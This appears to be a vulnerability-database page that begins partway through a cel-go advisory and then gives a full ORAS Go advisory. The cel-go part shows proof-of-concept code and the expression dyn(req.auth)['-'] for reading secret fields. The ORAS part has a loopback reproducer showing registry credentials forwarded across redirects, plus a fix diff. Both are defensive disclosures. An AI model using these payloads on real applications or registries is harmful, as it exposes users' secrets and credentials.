NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {\n nt, err := newNativeType(fieldNameHandler, rawType)\n if err != nil {\n return nil, err\n }\n result := []*nativeType{nt}\n\n var iterateStructMembers func(reflect.Type)\n iterateStructMembers = func(t reflect.Type) {\n if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {\n iterateStructMembers(t.Elem())\n return\n }\n if t.Kind() != reflect.Struct {\n return\n }\n\n nt, ntErr := newNativeType(fieldNameHandler, t)\n if ntErr != nil {\n err = ntErr\n return\n }\n result = append(result, nt)\n\n for idx := 0; idx \u003c t.NumField(); idx++ {\n iterateStructMembers(t.Field(idx).Type)\n }\n }\n iterateStructMembers(rawType)\n\n return result, err\n}\n```\n\nAs a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a `json:\"-\"` secret, CEL still receives a readable field named `\"-\"` even though the developer never registered or audited that nested type directly.\n\n## Reproduction\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"reflect\"\n\n \"github.com/google/cel-go/cel\"\n \"github.com/google/cel-go/ext\"\n)\n\n// Simulates a library type; developer never registers this directly.\ntype AuthCtx struct {\n UserID string `json:\"userId\"`\n Secret string `json:\"-\"` // server-internal; never appears in JSON output\n}\n\n// Developer registers only this type.\ntype Req struct{ Auth AuthCtx `json:\"auth\"` }\n\nfunc main() {\n env, _ := cel.NewEnv(\n // Only Req is passed; AuthCtx is registered silently by newNativeTypes.\n ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag(\"json\")),\n cel.Variable(\"req\", cel.ObjectType(\"main.Req\")),\n )\n ast, _ := env.Compile(`dyn(req.auth)[\"-\"]`)\n prg, _ := env.Program(ast)\n out, _, _ := prg.Eval(map[string]any{\n \"req\": Req{Auth: AuthCtx{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n })\n fmt.Println(out) // sk-live-s3cr3t\n}\n```\n\n**Expected:** expression compile error or empty result; `json:\"-\"` field should not be\naccessible. \n**Actual:** `sk-live-s3cr3t`; the server-injected secret is returned verbatim.\n\nThe same field is also included under key `\"-\"` in `ConvertToNative(jsonStructType)`\noutput, and appears in `FindStructFieldNames` enumeration.\n\n### path 1. CEL indexing\n\nTested against the released module `github.com/google/cel-go v0.28.1`\n(latest stable release as of 2026-05-12), using the `go.mod` entry:\n\n```\nrequire github.com/google/cel-go v0.28.1\n```\n\nRunning the PoC above (`go run main.go`) produces:\n\n```\nsk-live-s3cr3t\n```\n\nThe secret value is returned verbatim, with no error at compile time or at runtime.\n\n### Path 2. `ConvertToNative(jsonStructType)`\n\nWhen the `nativeObj` for the `AuthCtx` value is converted to a Protobuf `Struct`\n(the representation used whenever CEL output is serialised to JSON), the\n`json:\"-\"` field appears in the output map under the key `\"-\"`.\n\n```go\npackage main\n\nimport (\n \"encoding/json\"\n \"fmt\"\n \"reflect\"\n\n \"github.com/google/cel-go/cel\"\n \"github.com/google/cel-go/ext\"\n\n structpb \"google.golang.org/protobuf/types/known/structpb\"\n)\n\ntype AuthCtxConv struct {\n UserID string `json:\"userId\"`\n Secret string `json:\"-\"` // should never appear in JSON output\n}\n\ntype ReqConv struct{ Auth AuthCtxConv `json:\"auth\"` }\n\nfunc main() {\n env, _ := cel.NewEnv(\n ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag(\"json\")),\n cel.Variable(\"req\", cel.ObjectType(\"main.ReqConv\")),\n )\n\n ast, _ := env.Compile(`req.auth`)\n prg, _ := env.Program(ast)\n out, _, _ := prg.Eval(map[string]any{\n \"req\": ReqConv{Auth: AuthCtxConv{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n })\n\n jsonStructType := reflect.TypeOf(\u0026structpb.Struct{})\n raw, _ := out.ConvertToNative(jsonStructType)\n\n st := raw.(*structpb.Struct)\n b, _ := json.MarshalIndent(st.AsMap(), \"\", \" \")\n fmt.Printf(\"ConvertToNative(jsonStructType) output:\\n%s\\n\", b)\n fmt.Printf(\"\\nDirect field access via \\\"-\\\" key present: %v\\n\", st.Fields[\"-\"] != nil)\n if v, ok := st.Fields[\"-\"]; ok {\n fmt.Printf(\"Value: %s\\n\", v.GetStringValue())\n }\n}\n```\n\nRunning the PoC above produces:\n\n```\nConvertToNative(jsonStructType) output:\n{\n \"-\": \"sk-live-s3cr3t\",\n \"userId\": \"alice\"\n}\n\nDirect field access via \"-\" key present: true\nValue: sk-live-s3cr3t\n```\n\nThe `\"-\"` key is present in the serialised Protobuf struct alongside `userId`.\nAny system that converts a CEL evaluation result to JSON (e.g. via `structpb.Struct`) will include the secret in the output, regardless of whether the `dyn()[\"-\"]` indexing path is used.\n\n## Impact\n\nAny user who can submit CEL expressions to an application that uses `ext.NativeTypes(ParseStructTag(\"json\"))` can read struct fields that the developer explicitly marked `json:\"-\"` to keep out of serialised output. By writing `dyn(obj)[\"-\"]`, the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because `newNativeTypes` silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.\n\n## Remediation\n\nDo not treat `json:\"-\"` as a CEL field named `\"-\"`. Model it as an explicit skipped field, not as an empty string field name.\n\nUpdate the struct-tag parsing path so exact `json:\"-\"` returns \u201cskip this field\u201d, while `json:\"-,\"` continues to mean the literal field name `\"-\"`, matching `encoding/json` semantics.\n\nApply that skip decision consistently anywhere native fields are exposed or resolved:\n\n- duplicate-name validation in `newNativeType`\n- field enumeration in `FindStructFieldNames`\n- field type lookup in `FindStructFieldType`\n- runtime lookup in `fieldByName` / `hasField`\n- object construction in `NewValue`\n- JSON conversion in `ConvertToNative(jsonStructType)`\n\nApply the same omit handling for `xml:\"-\"`, `yaml:\"-\"`, and `bson:\"-\"` where `ParseStructTag` is used.",
"id": "GHSA-gcjh-h69q-9w9g",
"modified": "2026-07-24T16:48:56Z",
"published": "2026-07-24T16:48:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cel-expr/cel-go/security/advisories/GHSA-gcjh-h69q-9w9g"
},
{
"type": "PACKAGE",
"url": "https://github.com/cel-expr/cel-go"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag"
}
GHSA-VH4V-2XQ2-G5CG
Vulnerability from github – Published: 2026-07-01 21:54 – Updated: 2026-07-01 21:54
VLAI
Summary
ORAS Go forwards registry credentials across registry redirects
Details
ORAS Go forwards registry credentials across registry redirects
Reporter / public credit: JUNYI LIU
Summary
ORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects.
There are two related paths:
- A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin
Authorizationheader to the redirect target. - A blob upload
POSTauthenticates to the origin registry, then the origin returns an uploadLocationon another host or port. The follow-upPUTcan carry the originAuthorizationheader to theLocationtarget.
The upload Location issue appears related to the existing public fix in pull request #1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload Location fix still forwards Basic credentials on an authenticated manifest redirect.
Impact
A registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags.
This is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact.
Affected Versions Tested
oras-go v2.6.0: affected.oras-gomain at commita57383e580c8f2c97fb67dedfc5c9945c8c3614e: affected.oras-gov2 branch at commitd593d504779be8b69f0ba034ac9fd407d1fc8cfc: uploadLocationpath is blocked, but manifest redirect credential forwarding is still affected.- ORAS CLI at commit
3d2646279c70ba60415440e44c2ff97896e4a209, usingoras-go v2.6.0: affected when using--registry-config.
Security Invariant
Credentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload Location response.
Local Reproduction Overview
All testing used loopback servers and fake credentials only.
Manifest redirect flow:
- The client requests a manifest from the origin registry.
- The origin returns
401with a Basic challenge. - The client retries the origin request with the origin credential.
- The origin returns
307to another port on the same hostname. - The redirect sink receives the origin
Authorizationheader.
ORAS CLI stored-credential flow:
- A temporary registry config contains a fake Basic credential for the origin registry only.
- Run:
oras manifest fetch --plain-http --registry-config <config> <origin>/probe:latest
- The origin authenticates the request and redirects it to another port.
- The redirect sink receives the origin
Authorizationheader.
Blob upload Location flow:
- The client starts a blob upload with
POSTto the origin registry. - The origin challenges with Basic and then accepts the authenticated
POST. - The origin returns an upload
LocationURL on another port. - In affected versions, the follow-up
PUTto theLocationtarget carries the originAuthorizationheader.
Expected Result
Redirect and upload Location targets on a different HTTP origin should not receive the origin Authorization header.
Observed Result
In affected versions, redirect or Location sinks received:
Authorization: Basic <base64 origin_user:origin_pass>
Standalone Reproducer
package main
import (
"context"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"os"
"sync"
"github.com/opencontainers/go-digest"
"github.com/oras-project/oras-go/v3/registry/remote"
"github.com/oras-project/oras-go/v3/registry/remote/auth"
"github.com/oras-project/oras-go/v3/registry/remote/credentials"
)
type hit struct {
Method string `json:"method"`
Path string `json:"path"`
Host string `json:"host"`
Auth string `json:"auth,omitempty"`
}
func main() {
const username = "origin_user"
const password = "origin_pass"
const expectedAuth = "Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M="
var mu sync.Mutex
var originHits, sinkHits []hit
record := func(dst *[]hit, r *http.Request) {
mu.Lock()
defer mu.Unlock()
*dst = append(*dst, hit{
Method: r.Method,
Path: r.URL.RequestURI(),
Host: r.Host,
Auth: r.Header.Get("Authorization"),
})
}
manifest := []byte(`{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.unknown.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}`)
manifestDigest := digest.FromBytes(manifest).String()
sink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
record(&sinkHits, r)
if r.Header.Get("Authorization") != expectedAuth {
w.Header().Set("Www-Authenticate", `Basic realm="redirect-sink"`)
w.WriteHeader(http.StatusUnauthorized)
return
}
w.Header().Set("Content-Type", "application/vnd.oci.image.manifest.v1+json")
w.Header().Set("Docker-Content-Digest", manifestDigest)
w.Header().Set("Content-Length", fmt.Sprint(len(manifest)))
_, _ = w.Write(manifest)
}))
defer sink.Close()
origin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
record(&originHits, r)
if r.Header.Get("Authorization") != expectedAuth {
w.Header().Set("Www-Authenticate", `Basic realm="origin"`)
w.WriteHeader(http.StatusUnauthorized)
return
}
http.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect)
}))
defer origin.Close()
repo, err := remote.NewRepository(origin.Listener.Addr().String() + "/probe")
if err != nil {
panic(err)
}
repo.PlainHTTP = true
repo.Client = &auth.Client{
Client: origin.Client(),
CredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{
Username: username,
Password: password,
}),
}
_, _, err = repo.Manifests().FetchReference(context.Background(), "latest")
leaked := false
for _, h := range sinkHits {
if h.Auth == expectedAuth {
leaked = true
}
}
result := map[string]any{
"origin_hits": originHits,
"sink_hits": sinkHits,
"error": "",
"leaked": leaked,
}
if err != nil {
result["error"] = err.Error()
}
encoded, _ := json.MarshalIndent(result, "", " ")
fmt.Println(string(encoded))
if leaked {
fmt.Println("VULNERABLE_BEHAVIOR_CONFIRMED")
return
}
fmt.Println("BOUNDARY_HELD_NO_CREDENTIAL_LEAK")
os.Exit(1)
}
Candidate Fix
The candidate fix does two things:
- In the auth client, wrap redirect handling so
Authorizationis removed when a redirect changes HTTP origin, while preserving any caller-providedCheckRedirectcallback. - In blob upload completion, only reuse the previous
POSTAuthorizationheader when the uploadLocationremains on the same HTTP origin.
The patch also adds regression coverage for both redirect cases:
- redirect before origin authentication reaches a different origin;
- redirect after origin authentication reaches a different origin.
diff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go
index 35826eb..60c9f88 100644
--- a/registry/remote/auth/client.go
+++ b/registry/remote/auth/client.go
@@ -122,7 +122,23 @@ func (c *Client) send(req *http.Request) (*http.Response, error) {
for key, values := range c.Header {
req.Header[key] = append(req.Header[key], values...)
}
- return c.client().Do(req)
+ client := c.client()
+ clientCopy := *client
+ checkRedirect := client.CheckRedirect
+ clientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error {
+ if len(via) > 0 && !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) {
+ redirectReq.Header.Del(headerAuthorization)
+ }
+ if checkRedirect != nil {
+ return checkRedirect(redirectReq, via)
+ }
+ return nil
+ }
+ return clientCopy.Do(req)
+}
+
+func sameHTTPOrigin(a, b *url.URL) bool {
+ return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host)
}
// credential resolves the credential for the given registry.
@@ -168,6 +184,9 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {
var attemptedKey string
cache := c.cache()
host := originalReq.Host
+ if host == "" {
+ host = originalReq.URL.Host
+ }
scheme, err := cache.GetScheme(ctx, host)
if err == nil {
switch scheme {
@@ -193,6 +212,13 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {
if resp.StatusCode != http.StatusUnauthorized {
return resp, nil
}
+ respHost := resp.Request.Host
+ if respHost == "" {
+ respHost = resp.Request.URL.Host
+ }
+ if respHost != host {
+ return resp, nil
+ }
// attempt again with credentials for recognized schemes
challenge := resp.Header.Get(headerWWWAuthenticate)
diff --git a/registry/remote/repository.go b/registry/remote/repository.go
index 74d6b89..0bd20ec 100644
--- a/registry/remote/repository.go
+++ b/registry/remote/repository.go
@@ -982,6 +983,7 @@ func (s *blobStore) Push(ctx context.Context, expected ocispec.Descriptor, conte
// Push or by Mount when the receiving repository does not implement the
// mount endpoint.
func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.Request, resp *http.Response, expected ocispec.Descriptor, content io.Reader) error {
+ originalURL := req.URL
reqHostname := req.URL.Hostname()
reqPort := req.URL.Port()
// monolithic upload
@@ -1016,8 +1018,9 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.
q.Set("digest", expected.Digest.String())
req.URL.RawQuery = q.Encode()
- // reuse credential from previous POST request
- if auth := resp.Request.Header.Get("Authorization"); auth != "" {
+ // reuse credential from previous POST request only when the upload location
+ // remains on the same origin.
+ if auth := resp.Request.Header.Get("Authorization"); auth != "" && sameHTTPOrigin(originalURL, location) {
req.Header.Set("Authorization", auth)
}
resp, err = s.repo.do(req)
@@ -1032,6 +1035,10 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.
return nil
}
+func sameHTTPOrigin(a, b *url.URL) bool {
+ return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host)
+}
+
// Exists returns true if the described content exists.
func (s *blobStore) Exists(ctx context.Context, target ocispec.Descriptor) (bool, error) {
if err := s.repo.checkPolicy(ctx, ""); err != nil {
Validation Performed
The repaired candidate fix blocked:
- manifest redirect credential forwarding;
- upload
Locationcredential forwarding.
Targeted tests passed:
go test ./registry/remote/auth -run 'TestClient_Do_Basic_Auth_Redirect|TestClient_Do' -count=1
go test ./registry/remote -run 'Test_BlobStore_Push|TestRepository' -count=1
Prior Art / Duplicate Notes
Public pull request #1152 fixes credential forwarding via unvalidated blob upload Location and references GHSA-jxpm-75mh-9fp7. The residual manifest redirect path described here is adjacent but not covered by that PR's stated upload Location scope.
Bearer realm credential exfiltration appears to be a separate issue family and is not part of this report's primary claim.
Claim Boundaries
Proven:
- Origin registry Basic credentials can reach a different redirect or upload
Locationorigin in local loopback tests. - ORAS CLI stored registry credentials can reach a redirect sink in a normal manifest fetch workflow.
- The candidate fix blocks the tested redirect and upload
Locationcredential exposures.
Not claimed:
- Live third-party exploitation.
- RCE, host compromise, or registry compromise.
- Arbitrary-host exposure beyond the tested redirect/
Locationorigin transitions. - Bearer realm behavior as part of the same claim.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "oras.land/oras-go/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T21:54:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# ORAS Go forwards registry credentials across registry redirects\n\nReporter / public credit: JUNYI LIU\n\n## Summary\n\nORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects.\n\nThere are two related paths:\n\n1. A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin `Authorization` header to the redirect target.\n2. A blob upload `POST` authenticates to the origin registry, then the origin returns an upload `Location` on another host or port. The follow-up `PUT` can carry the origin `Authorization` header to the `Location` target.\n\nThe upload `Location` issue appears related to the existing public fix in pull request #1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload `Location` fix still forwards Basic credentials on an authenticated manifest redirect.\n\n## Impact\n\nA registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags.\n\nThis is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact.\n\n## Affected Versions Tested\n\n- `oras-go v2.6.0`: affected.\n- `oras-go` main at commit `a57383e580c8f2c97fb67dedfc5c9945c8c3614e`: affected.\n- `oras-go` v2 branch at commit `d593d504779be8b69f0ba034ac9fd407d1fc8cfc`: upload `Location` path is blocked, but manifest redirect credential forwarding is still affected.\n- ORAS CLI at commit `3d2646279c70ba60415440e44c2ff97896e4a209`, using `oras-go v2.6.0`: affected when using `--registry-config`.\n\n## Security Invariant\n\nCredentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload `Location` response.\n\n## Local Reproduction Overview\n\nAll testing used loopback servers and fake credentials only.\n\nManifest redirect flow:\n\n1. The client requests a manifest from the origin registry.\n2. The origin returns `401` with a Basic challenge.\n3. The client retries the origin request with the origin credential.\n4. The origin returns `307` to another port on the same hostname.\n5. The redirect sink receives the origin `Authorization` header.\n\nORAS CLI stored-credential flow:\n\n1. A temporary registry config contains a fake Basic credential for the origin registry only.\n2. Run:\n\n```sh\noras manifest fetch --plain-http --registry-config \u003cconfig\u003e \u003corigin\u003e/probe:latest\n```\n\n3. The origin authenticates the request and redirects it to another port.\n4. The redirect sink receives the origin `Authorization` header.\n\nBlob upload `Location` flow:\n\n1. The client starts a blob upload with `POST` to the origin registry.\n2. The origin challenges with Basic and then accepts the authenticated `POST`.\n3. The origin returns an upload `Location` URL on another port.\n4. In affected versions, the follow-up `PUT` to the `Location` target carries the origin `Authorization` header.\n\n## Expected Result\n\nRedirect and upload `Location` targets on a different HTTP origin should not receive the origin `Authorization` header.\n\n## Observed Result\n\nIn affected versions, redirect or `Location` sinks received:\n\n```http\nAuthorization: Basic \u003cbase64 origin_user:origin_pass\u003e\n```\n\n## Standalone Reproducer\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"sync\"\n\n\t\"github.com/opencontainers/go-digest\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote/auth\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote/credentials\"\n)\n\ntype hit struct {\n\tMethod string `json:\"method\"`\n\tPath string `json:\"path\"`\n\tHost string `json:\"host\"`\n\tAuth string `json:\"auth,omitempty\"`\n}\n\nfunc main() {\n\tconst username = \"origin_user\"\n\tconst password = \"origin_pass\"\n\tconst expectedAuth = \"Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M=\"\n\tvar mu sync.Mutex\n\tvar originHits, sinkHits []hit\n\n\trecord := func(dst *[]hit, r *http.Request) {\n\t\tmu.Lock()\n\t\tdefer mu.Unlock()\n\t\t*dst = append(*dst, hit{\n\t\t\tMethod: r.Method,\n\t\t\tPath: r.URL.RequestURI(),\n\t\t\tHost: r.Host,\n\t\t\tAuth: r.Header.Get(\"Authorization\"),\n\t\t})\n\t}\n\n\tmanifest := []byte(`{\"schemaVersion\":2,\"mediaType\":\"application/vnd.oci.image.manifest.v1+json\",\"config\":{\"mediaType\":\"application/vnd.unknown.config.v1+json\",\"digest\":\"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a\",\"size\":2},\"layers\":[]}`)\n\tmanifestDigest := digest.FromBytes(manifest).String()\n\n\tsink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\trecord(\u0026sinkHits, r)\n\t\tif r.Header.Get(\"Authorization\") != expectedAuth {\n\t\t\tw.Header().Set(\"Www-Authenticate\", `Basic realm=\"redirect-sink\"`)\n\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\treturn\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/vnd.oci.image.manifest.v1+json\")\n\t\tw.Header().Set(\"Docker-Content-Digest\", manifestDigest)\n\t\tw.Header().Set(\"Content-Length\", fmt.Sprint(len(manifest)))\n\t\t_, _ = w.Write(manifest)\n\t}))\n\tdefer sink.Close()\n\n\torigin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\trecord(\u0026originHits, r)\n\t\tif r.Header.Get(\"Authorization\") != expectedAuth {\n\t\t\tw.Header().Set(\"Www-Authenticate\", `Basic realm=\"origin\"`)\n\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect)\n\t}))\n\tdefer origin.Close()\n\n\trepo, err := remote.NewRepository(origin.Listener.Addr().String() + \"/probe\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\trepo.PlainHTTP = true\n\trepo.Client = \u0026auth.Client{\n\t\tClient: origin.Client(),\n\t\tCredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{\n\t\t\tUsername: username,\n\t\t\tPassword: password,\n\t\t}),\n\t}\n\n\t_, _, err = repo.Manifests().FetchReference(context.Background(), \"latest\")\n\n\tleaked := false\n\tfor _, h := range sinkHits {\n\t\tif h.Auth == expectedAuth {\n\t\t\tleaked = true\n\t\t}\n\t}\n\n\tresult := map[string]any{\n\t\t\"origin_hits\": originHits,\n\t\t\"sink_hits\": sinkHits,\n\t\t\"error\": \"\",\n\t\t\"leaked\": leaked,\n\t}\n\tif err != nil {\n\t\tresult[\"error\"] = err.Error()\n\t}\n\tencoded, _ := json.MarshalIndent(result, \"\", \" \")\n\tfmt.Println(string(encoded))\n\n\tif leaked {\n\t\tfmt.Println(\"VULNERABLE_BEHAVIOR_CONFIRMED\")\n\t\treturn\n\t}\n\tfmt.Println(\"BOUNDARY_HELD_NO_CREDENTIAL_LEAK\")\n\tos.Exit(1)\n}\n```\n\n## Candidate Fix\n\nThe candidate fix does two things:\n\n1. In the auth client, wrap redirect handling so `Authorization` is removed when a redirect changes HTTP origin, while preserving any caller-provided `CheckRedirect` callback.\n2. In blob upload completion, only reuse the previous `POST` `Authorization` header when the upload `Location` remains on the same HTTP origin.\n\nThe patch also adds regression coverage for both redirect cases:\n\n- redirect before origin authentication reaches a different origin;\n- redirect after origin authentication reaches a different origin.\n\n```diff\ndiff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go\nindex 35826eb..60c9f88 100644\n--- a/registry/remote/auth/client.go\n+++ b/registry/remote/auth/client.go\n@@ -122,7 +122,23 @@ func (c *Client) send(req *http.Request) (*http.Response, error) {\n \tfor key, values := range c.Header {\n \t\treq.Header[key] = append(req.Header[key], values...)\n \t}\n-\treturn c.client().Do(req)\n+\tclient := c.client()\n+\tclientCopy := *client\n+\tcheckRedirect := client.CheckRedirect\n+\tclientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error {\n+\t\tif len(via) \u003e 0 \u0026\u0026 !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) {\n+\t\t\tredirectReq.Header.Del(headerAuthorization)\n+\t\t}\n+\t\tif checkRedirect != nil {\n+\t\t\treturn checkRedirect(redirectReq, via)\n+\t\t}\n+\t\treturn nil\n+\t}\n+\treturn clientCopy.Do(req)\n+}\n+\n+func sameHTTPOrigin(a, b *url.URL) bool {\n+\treturn strings.EqualFold(a.Scheme, b.Scheme) \u0026\u0026 strings.EqualFold(a.Host, b.Host)\n }\n \n // credential resolves the credential for the given registry.\n@@ -168,6 +184,9 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {\n \tvar attemptedKey string\n \tcache := c.cache()\n \thost := originalReq.Host\n+\tif host == \"\" {\n+\t\thost = originalReq.URL.Host\n+\t}\n \tscheme, err := cache.GetScheme(ctx, host)\n \tif err == nil {\n \t\tswitch scheme {\n@@ -193,6 +212,13 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {\n \tif resp.StatusCode != http.StatusUnauthorized {\n \t\treturn resp, nil\n \t}\n+\trespHost := resp.Request.Host\n+\tif respHost == \"\" {\n+\t\trespHost = resp.Request.URL.Host\n+\t}\n+\tif respHost != host {\n+\t\treturn resp, nil\n+\t}\n \n \t// attempt again with credentials for recognized schemes\n \tchallenge := resp.Header.Get(headerWWWAuthenticate)\ndiff --git a/registry/remote/repository.go b/registry/remote/repository.go\nindex 74d6b89..0bd20ec 100644\n--- a/registry/remote/repository.go\n+++ b/registry/remote/repository.go\n@@ -982,6 +983,7 @@ func (s *blobStore) Push(ctx context.Context, expected ocispec.Descriptor, conte\n // Push or by Mount when the receiving repository does not implement the\n // mount endpoint.\n func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.Request, resp *http.Response, expected ocispec.Descriptor, content io.Reader) error {\n+\toriginalURL := req.URL\n \treqHostname := req.URL.Hostname()\n \treqPort := req.URL.Port()\n \t// monolithic upload\n@@ -1016,8 +1018,9 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.\n \tq.Set(\"digest\", expected.Digest.String())\n \treq.URL.RawQuery = q.Encode()\n \n-\t// reuse credential from previous POST request\n-\tif auth := resp.Request.Header.Get(\"Authorization\"); auth != \"\" {\n+\t// reuse credential from previous POST request only when the upload location\n+\t// remains on the same origin.\n+\tif auth := resp.Request.Header.Get(\"Authorization\"); auth != \"\" \u0026\u0026 sameHTTPOrigin(originalURL, location) {\n \t\treq.Header.Set(\"Authorization\", auth)\n \t}\n \tresp, err = s.repo.do(req)\n@@ -1032,6 +1035,10 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.\n \treturn nil\n }\n \n+func sameHTTPOrigin(a, b *url.URL) bool {\n+\treturn strings.EqualFold(a.Scheme, b.Scheme) \u0026\u0026 strings.EqualFold(a.Host, b.Host)\n+}\n+\n // Exists returns true if the described content exists.\n func (s *blobStore) Exists(ctx context.Context, target ocispec.Descriptor) (bool, error) {\n \tif err := s.repo.checkPolicy(ctx, \"\"); err != nil {\n```\n\n## Validation Performed\n\nThe repaired candidate fix blocked:\n\n- manifest redirect credential forwarding;\n- upload `Location` credential forwarding.\n\nTargeted tests passed:\n\n```sh\ngo test ./registry/remote/auth -run \u0027TestClient_Do_Basic_Auth_Redirect|TestClient_Do\u0027 -count=1\ngo test ./registry/remote -run \u0027Test_BlobStore_Push|TestRepository\u0027 -count=1\n```\n\n## Prior Art / Duplicate Notes\n\nPublic pull request #1152 fixes credential forwarding via unvalidated blob upload `Location` and references GHSA-jxpm-75mh-9fp7. The residual manifest redirect path described here is adjacent but not covered by that PR\u0027s stated upload `Location` scope.\n\nBearer realm credential exfiltration appears to be a separate issue family and is not part of this report\u0027s primary claim.\n\n## Claim Boundaries\n\nProven:\n\n- Origin registry Basic credentials can reach a different redirect or upload `Location` origin in local loopback tests.\n- ORAS CLI stored registry credentials can reach a redirect sink in a normal manifest fetch workflow.\n- The candidate fix blocks the tested redirect and upload `Location` credential exposures.\n\nNot claimed:\n\n- Live third-party exploitation.\n- RCE, host compromise, or registry compromise.\n- Arbitrary-host exposure beyond the tested redirect/`Location` origin transitions.\n- Bearer realm behavior as part of the same claim.",
"id": "GHSA-vh4v-2xq2-g5cg",
"modified": "2026-07-01T21:54:06Z",
"published": "2026-07-01T21:54:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-vh4v-2xq2-g5cg"
},
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/commit/3c2e884e12ea52b6bff60c97f1edb7df7d0e0909"
},
{
"type": "PACKAGE",
"url": "https://github.com/oras-project/oras-go"
},
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/releases/tag/v2.6.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "ORAS Go forwards registry credentials across registry redirects"
}
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Trend slope:
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(linear fit over daily sighting counts)
Show additional events:
